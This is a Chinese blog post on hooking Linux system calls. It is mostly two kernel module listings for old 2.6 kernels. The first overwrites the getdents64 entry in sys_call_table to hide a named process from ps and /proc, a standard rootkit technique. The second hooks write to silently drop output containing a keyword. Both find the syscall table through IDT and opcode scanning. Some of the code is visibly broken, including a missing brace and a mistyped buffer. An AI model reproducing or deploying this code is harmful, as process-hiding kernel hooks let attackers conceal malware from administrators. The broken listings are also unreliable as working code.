linux下 hook 系统调用示例

原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举

  /proc/ 下的pid,这样我们只需要hook一下sys_getdents,把相应的要隐藏的pid信息去掉即可。

  以下是LKM代码,在Linux-2.6.14测试并运行成功

  #include <linux/module.h>

  #include <linux/kernel.h>

  #include <asm/unistd.h>

  #include <linux/types.h>

  #include <linux/dirent.h>

  #include <linux/string.h>

  #include <linux/file.h>

  #include <linux/fs.h>

  #define CALLOFF 100

  //使用模块参数来定义需要隐藏的进程名

  char *processname;

  module_param(processname, charp, 0);

  struct {

  unsigned short limit;

  unsigned int base;

  } __attribute__ ((packed)) idtr;

  struct {

  unsigned short off1;

  unsigned short sel;

  unsigned char none,

  flags;

  unsigned short off2;

  } __attribute__ ((packed)) * idt;

  void** sys_call_table;

  asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);

  char * findoffset(char *start)

  {

  char *p;

  for (p = start; p < start + CALLOFF; p++)

  if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

  return p;

  return NULL;

  }

  int myatoi(char *str)

  {

  int res = 0;

  int mul = 1;

  char *ptr;

  for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

  if (*ptr < '0' || *ptr > '9')

  return (-1);

  res += (*ptr - '0') * mul;

  mul *= 10;

  }

  return (res);

  }

  struct task_struct *get_task(pid_t pid)

  {

  struct task_struct *p = get_current(),*entry=NULL;

  list_for_each_entry(entry,&(p->tasks),tasks)

  {

  if(entry->pid == pid)

  {

  printk("pid found\n");

  return entry;

  }

  }

  return NULL;

  }

  static inline char *get_name(struct task_struct *p, char *buf)

  {

  int i;

  char *name;

  name = p->comm;

  i = sizeof(p->comm);

  do {

  unsigned char c = *name;

  name++;

  i--;

  *buf = c;

  if (!c)

  break;

  if (c == '\\') {

  buf[1] = c;

  buf += 2;

  continue;

  }

  if (c == '\n') {

  buf[0] = '\\';

  buf[1] = 'n';

  buf += 2;

  continue;

  }

  buf++;

  }

  while (i);

  *buf = '\n';

  return buf + 1;

  }

 int get_process(pid_t pid)

  {

  struct task_struct *task = get_task(pid);

  char *buffer[64] = {0};

  if (task)

  {

  get_name(task, buffer);

  if(strstr(buffer,processname))

  return 1;

  else

  return 0;

  }

  else

  return 0;

  }

  asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

  {

  //added by lsc for process

  long value;

  struct inode *dinode;

  int len = 0;

  int tlen = 0;

  struct linux_dirent64 *mydir = NULL;

  //end

  //在这里调用一下sys_getdents,得到返回的结果

  value = (*orig_getdents) (fd, dirp, count);

  tlen = value;

  //遍历得到的目录列表

  while(tlen > 0)

  {

  len = dirp->d_reclen;

  tlen = tlen - len;

  printk("%s\n",dirp->d_name);

  //在proc文件系统中,目录名就是pid,我们再根据pid找到进程名

  if(get_process(myatoi(dirp->d_name)) )

  {

  printk("find process\n");

  //发现匹配的进程,调用memmove将这条进程覆盖掉

  memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);

  value = value - len;

  }

  if(tlen)

  dirp = (struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);

  }

  return value;

  }

  void **get_sct_addr(void)

  {

  unsigned sys_call_off;

  unsigned sct = 0;

  char *p;

  asm("sidt %0":"=m"(idtr));

  idt = (void *) (idtr.base + 8 * 0x80);

  sys_call_off = (idt->off2 << 16) | idt->off1;

  if ((p = findoffset((char *) sys_call_off)))

  sct = *(unsigned *) (p + 3);

  return ((void **)sct);

  }

  static void filter_exit(void)

  {

  if (sys_call_table)

  sys_call_table[__NR_getdents64] = orig_getdents;

  }

  static int filter_init(void)

  {

  //得到sys_call_table的偏移地址

  sys_call_table = get_sct_addr();

  if (!sys_call_table) {

  printk("get_act_addr(): NULL...\n");

  return 0;

  } else

  printk("sct: 0x%x\n", (unsigned int)sys_call_table);

  //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

  orig_getdents = sys_call_table[__NR_getdents64];

  sys_call_table[__NR_getdents64] = hacked_getdents;

  return 0;

  }

  module_init(filter_init);

  module_exit(filter_exit);

  MODULE_LICENSE("GPL");



还有一个例子

截获write系统调用:

#ifndef MODULE
#define MODULE
#endif
                                                                              
#ifndef __KERNEL__
#define __KERNEL__
#endif 
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/slab.h>
/*
#include <sys/types.h>
#include <asm/fcntl.h>
#include <linux/malloc.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <asm/errno.h> 
#include <sys/syscall.h>
*/ 
MODULE_LICENSE("GPL");
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};
static struct {
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;

static unsigned int SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int base_system_call;
int (*orig_write)(unsigned int fd,char *buf,unsigned int count);
unsigned char opcode_call[3]={0xff,0x14,0x85};
int match(unsigned char *source)
{
        int i;
        for(i=0;i<3;i++){
                if(source[i] != opcode_call[i])
                        return 0;
        }
        return 1;
}
int get_sys_call_table(void)
{
        int i,j;
        unsigned char *ins=(unsigned char *)base_system_call;
        unsigned int sct;
                                                                              
        for(i=0;i<100;i++){
                if(ins[i]==opcode_call[0]){
                        if(match(ins+i)){
                                sct=*((unsigned int *)(ins+3+i));
                                printk(KERN_ALERT "sys_call_tabl's address is
0x%X\n",sct);
                                return sct;
                        }
                }
        }
                                                                              
        printk(KERN_ALERT "can't find the address of sys_call_table\n");
        return -1;
}
int hacked_write(unsigned int fd,char *buf,unsigned int count)

 char *hide="hello";

 if(strstr(buf,hide)!=NULL){
  printk(KERN_ALERT "find name.\n");
  return count;
 }
 else{
  return orig_write(fd,buf,count);
 }
}
int init_module(void)
{
        __asm__ volatile ("sidt %0": "=m" (idt48));
        struct descriptor_idt *pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
        base_system_call = (pIdt80->offset_high<<16 | pIdt80->offset_low);
        printk(KERN_ALERT "system_call address at 0x%x\n",base_system_call);
 SYS_CALL_TABLE_ADDR=get_sys_call_table();
 sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
 orig_write=sys_call_table[__NR_write];
 sys_call_table[__NR_write]=hacked_write;
        return 0;
}
void cleanup_module()
{
 sys_call_table[__NR_write]=orig_write;
}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值